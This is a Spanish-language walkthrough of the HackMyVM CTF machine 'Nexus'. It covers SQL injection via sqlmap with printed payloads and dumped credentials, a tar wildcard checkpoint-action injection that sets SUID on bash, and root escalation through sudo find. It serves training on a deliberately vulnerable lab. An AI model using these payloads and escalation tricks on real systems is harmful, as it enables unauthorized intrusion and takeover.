Nexus-Writeup

Dh89Dh89
9 min read


Skills

- Web Fuzzing
- SQLMAP / SQLI
- tar command / wildcar "*" Abusing (Extra)
- find command sudo escalation privilage

Reconocimiento

Para comenzar, vamos a crear nuestro directorios de trabajo, para empezar con la fase de reconocimiento

$ mkdir Publisher
$ cd Publisher
$ mkdir content nmap exploit

Luego vamos a realizar un escaneo de servicios sobre los puertos abiertos utilizando nmap.

$ sudo nmap --open -p- -sS --min-rate 5000 -vvv -n -Pn 192.168.0.18 -oN allPorts
# Nmap 7.93 scan initiated Thu Jun 26 15:55:17 2025 as: nmap --open -p- -sS --min-rate 5000 -vvv -n -Pn -oN Allports 192.168.0.18
Nmap scan report for 192.168.0.18
Host is up, received arp-response (0.0044s latency).
Scanned at 2025-06-26 15:55:17 -03 for 7s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64
MAC Address: D8:F3:BC:4D:AC:A3 (Liteon Technology)

Read data files from: /usr/bin/../share/nmap
# Nmap done at Thu Jun 26 15:55:24 2025 -- 1 IP address (1 host up) scanned in 6.43 seconds

Como se puede apreciar, parece que solo tenemos el puerto 22 y el 80. El cual, este último, parece una página web al ser http. Vamos a realizar un escaneo de tecnologías con WhatWeb, a ver qué nos reporta.

$ whatweb 192.168.0.18
http://192.168.0.18 [200 OK] Apache[2.4.62], Country[RESERVED][ZZ], HTTPServer[Debian Linux][Apache/2.4.62 (Debian)], IP[192.168.0.18]

Vemos Apache, la versión y poco más; vamos a echarle un vistazo a la página web.

Vemos una página algo extraña; vamos a realizar fuzzing para encontrar algunos directorios o archivos dentro de la página que nos puedan ser de utilidad.

ffuf -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://192.168.0.18/FUZZ.php -t 10        

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://192.168.0.18/FUZZ.php
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 10
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
                        [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 7ms]
#                       [Status: 200, Size: 825, Words: 124, Lines: 48, Duration: 11ms]
login                   [Status: 200, Size: 352, Words: 61, Lines: 27, Duration: 13ms]
index2                  [Status: 200, Size: 75134, Words: 30596, Lines: 1642, Duration: 13ms]
                        [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 5ms]

Luego de filtrar por archivos ”FUZZ.php” (donde FUZZ es donde vamos iterando gracias a un diccionario), encontramos que existen login.php y index2.php. Vamos a echarles un vistazo.

El login no nos muestra nada; de hecho, si miramos el código fuente, no encontramos nada relevante. Vamos a mirar la otra página.

Y vemos otra página completamente distinta; buscando info e interactuando con todo lo que se puede, llegamos a lo siguiente.

Donde si buscamos sobre nuestra IP de la máquina víctima, nos da otra página distinta.

Donde observamos un panel de login.

Pruebo credenciales basicas pero no llego a ningun lugar.

Luego pruebo una injeccion basica de sql y veo que me deja logearme, pero no me muestra nada.

Esto me hace pensar, que podriamos extraer info de la base de datos, de hecho si ponemos una comilla simple en el usuario da este error.

Utilizando la query en el ‘ order by 4. Me doy cuenta que existen 3 columnas, debido a que en el numero 4 hay un error y en el numero 3 me pone acceso denegado.

Debido a que yo no veo el output va ser blind basado en diferencia de respuesta que nos da el servidor.

Luego de realizar algunas pruebas, decido tirar de sqlmap y me reporta lo siguiente.

$ sqlmap -u http://192.168.0.18/login.php --data "user=a*&pass=a" --level 5 --dbms=mysql --risk 3 --current-db --is-dba
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.8.9.1#dev}
|_ -| . [(]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 09:57:01 /2025-06-27/
 [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* ((custom) POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
    Payload: user=a' OR NOT 8006=8006-- lYGY&pass=a

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: user=a' AND (SELECT 4590 FROM(SELECT COUNT(*),CONCAT(0x716a717171,(SELECT (ELT(4590=4590,1))),0x717a766271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- ikkA&pass=a

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: user=a' AND (SELECT 8526 FROM (SELECT(SLEEP(5)))yjFT)-- gzvx&pass=a
---
[09:57:02] [INFO] testing MySQL
[09:57:02] [INFO] confirming MySQL
[09:57:02] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.62
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[09:57:02] [INFO] fetching current database
[09:57:02] [INFO] retrieved: 'sion'
current database: 'sion'
[09:57:02] [INFO] testing if current user is DBA
[09:57:02] [INFO] fetching current user
[09:57:03] [INFO] retrieved: 'root@localhost'
current user is DBA: True

Por tanto si es vulnerable a SQLI, voy a extraer toda la info para ver que nos encontramos.

[09:57:58] [INFO] retrieved: 'users'
Database: sion
[1 table]
+-------+
| users |
+-------+
Database: sion
Table: users
[2 entries]
+----+--------------------+----------+
| id | password           | username |
+----+--------------------+----------+
| 1  | F4ckTh3F4k3H4ck3r5 | shelly   |
| 2  | cambiame08         | admin    |
+----+--------------------+----------+

Encontramos estos dos usuarios, el cual pruebo shell y para poder conectarme por ssh con esa contraseña y me deja.

$ ssh shelly@192.168.0.18
The authenticity of host '192.168.0.18 (192.168.0.18)' can't be established.
ED25519 key fingerprint is SHA256:r1lUfXxL8Fd1e/Q87Jno3P3xHjMTUwmJlKfcsl0AST8.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.0.18' (ED25519) to the list of known hosts.
**************************************************************
HackMyVM System                                              *
                                 *
   *  .  . *       *    .        .        .   *    ..        *
 .    *        .   ###     .      .        .            *    *
    *.   *        #####   .     *      *        *    .       *
  ____       *  ######### *    .  *      .        .  *   .   *
 /   /\  .     ###\#|#/###   ..    *    .      *  .  ..  *   *
/___/  ^8/      ###\|/###  *    *            .      *   *    *
|   ||%%(        # }|{  #                           *
|___|,  \\         }|{                        *
                                *
                                                             *
Wellcome to Nexus Vault.                    *
**************************************************************



shelly@192.168.0.18's password: 


######################
DONT TOUCH MY SYSTEM #
######################
Last login: Thu May  8 22:44:41 2025 from 192.168.1.10
-bash: warning: setlocale: LC_ALL: cannot change locale (en_US.UTF-8)
shelly@NexusLabCTF:~$

Escalada de Privilegios

shelly@NexusLabCTF:~$ cd SA/
shelly@NexusLabCTF:~/SA$ ls
user-flag.txt
shelly@NexusLabCTF:~/SA$ cat user-flag.txt 

   ▄█    █▄      ▄▄▄▄███▄▄▄▄    ▄█    █▄  
  ███    ███   ▄██▀▀▀███▀▀▀██▄ ███    ███ 
  ███    ███   ███   ███   ███ ███    ███ 
 ▄███▄▄▄▄███▄▄ ███   ███   ███ ███    ███ 
▀▀███▀▀▀▀███▀  ███   ███   ███ ███    ███ 
  ███    ███   ███   ███   ███ ███    ███ 
  ███    ███   ███   ███   ███ ███    ███ 
  ███    █▀     ▀█   ███   █▀   ▀██████▀  

HackMyVM
Flag User ::  82kd8FJ5SJ00HMVUS3R36gd

shelly@NexusLabCTF:~/SA$

Ahi podemos observar la flag del usuario, ahora nos toca escalar privilegios.

Luego de hacer una pequeña enumeracion, me encuentro enumerando tareas cron, utilizando el siguiente script.

#!/bin/bash

old_command=$(ps -eo user,command)
while true;do
    new_command=$(ps -eo user,command)
    diff <(echo "$old_command") <(echo "$new_command") | grep ["\>\<"] | grep -vE "kworker|procmon|command"
    old_command=$new_command
done
shelly@NexusLabCTF:/tmp$ ./procmon.sh 
/bin/bash: warning: setlocale: LC_ALL: cannot change locale (en_US.UTF-8)
> root     /usr/sbin/CRON -f
> root     /bin/sh -c /usr/local/bin/wildcard-access.sh
< root     /usr/sbin/CRON -f
< root     /bin/sh -c /usr/local/bin/wildcard-access.sh

Veo que hay una tarea cron que root ejecuta con sh “/usr/local/bin/wildcard-access.sh”.

Si vemos lo que hace, nos encontramos con lo siguiente.

shelly@NexusLabCTF:/tmp$ cat /usr/local/bin/wildcard-access.sh 
tar -cf /tmp/backup.tar /home/shelly/backup/*

Vemos que hace un “tar -cf /tmp/backup.tar /home/shelly/backup/*”, basicamente comprime todo lo que hay en /home/shelly/backup/ y el output lo pone en /tar como backup.tar.

Esto no deberia ser un problema, pero debido a como funciona el wildcard “*”, esto es muy peligroso.

Esto se puede abusar debido a que con tar hay una forma de ejecutar comandos.

Si ponemos help en tar, vemos lo siguiente en una parte del manual de ayuda.

shelly@NexusLabCTF:/tmp$ tar --help Usage: tar [OPTION...] [FILE]... GNU 'tar' saves many files together into a single tape or disk archive, and can restore individual files from the archive.
      --checkpoint[=NUMBER]  display progress messages every NUMBERth record
                             (default 10)
      --checkpoint-action=ACTION   execute ACTION on each checkpoint

Si investigamos, encontraremos que esto se puede utilizar para ejecutar comandos, debido a que no tenemos permiso para cambiar el archivo de la tarea cron.

shelly@NexusLabCTF:/tmp$ ls -la /usr/local/bin/wildcard-access.sh 
-rwxr-xr-x 1 root root 46 Apr 20 17:07 /usr/local/bin/wildcard-access.sh

Lo que podemos hacer es crearnos archivos que contengan ese comando, y debido al wildcar “*“ cuando ejecute la tarea cron, nos va tomas como comandos el nombre de los archvios.

shelly@NexusLabCTF:/tmp$ cd /home/shelly/ 
shelly@NexusLabCTF:~$ ls
SA
shelly@NexusLabCTF:~$ mkdir backup
shelly@NexusLabCTF:~$ cd backup/
shelly@NexusLabCTF:~/backup$

Creo el directorio backup porque es bajo esta ruta donde se aplica el comando y debido a que no existe la ruta, hay que crearlo.

Primero vamos a crearnos un script en sh, que asigne permisos SUID a la bash por ejemplo para una vez sea ejecutado poder convertirnos en root.

echo "chmod +4000 /bin/bash" >> exploit.sh
shelly@NexusLabCTF:~/backup$ cat exploit.sh 
chmod 4000 /bin/bash
shelly@NexusLabCTF:~/backup$ ls -la /bin/bash
-rwxr-xr-x 1 root root 1265648 Mar 29  2024 /bin/bash
shelly@NexusLabCTF:~/backup$

Ahora vamos a crear nuestro archivo para abusar del wildcard “*” en la tarea cron.

shelly@NexusLabCTF:~/backup$ echo "" > ' --checkpoint-action=exec=sh exploit.sh'
shelly@NexusLabCTF:~/backup$ echo "" > ' --checkpoint=1'
shelly@NexusLabCTF:~/backup$ ls
' --checkpoint-action=exec=sh exploit.sh'  ' --checkpoint=1'   exploit.sh
-rw-r--r-- 1 shelly shelly   21 Jun 27 15:36  exploit.sh

Como vemos, lo que hacemos es crear el archivo como si fuese un comando, cuando se ejecute la tarea cron.

Lo cual, aparte de hacer la compresión de todo lo que hay en backup/, también ejecutará nuestro exploit.sh, el cual asignará el permiso SUID a la /bin/bash.

Luego de esperar un rato, no funciona; por tanto, debe estar parcheado de alguna forma.

Luego de seguir investigando, me encuentro con lo siguiente.

shelly@NexusLabCTF:/tmp$ sudo -l
sudo: unable to resolve host NexusLabCTF: Name or service not known
Matching Defaults entries for shelly on NexusLabCTF:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+=LD_PRELOAD,
    use_pty

User shelly may run the following commands on NexusLabCTF:
    (ALL) NOPASSWD: /usr/bin/find

Parece que podemos ejecutar con sudo el comando find, esto tambien es peligroso, debido a que por ejemplo en → gtfobins, hay formas de escalar privilegios, vamos a probarlo.

shelly@NexusLabCTF:/tmp$ sudo find . -exec /bin/sh \; -quit
sudo: unable to resolve host NexusLabCTF: Name or service not known
# whoami
root

De esta forma, logramos escalar privilegios y convertirnos en root.


Conclusiones

Maquina bastante interesante, donde se ve sobre un SQLI y como abusar del binario find, me hubiese gustado que el tar con el wildcar “*“, funcione pero lo dejare como extra por si algun dia se encuentran algo parecido para que lo tengan en cuenta, ya saben que tienen los comentarios o me pueden contactar por disc cualquier duda.

0
Subscribe to my newsletter

Read articles from Dh89 directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Dh89
Dh89

Soy un entusiasta de la ciberseguridad,disc -> Varovish/varovish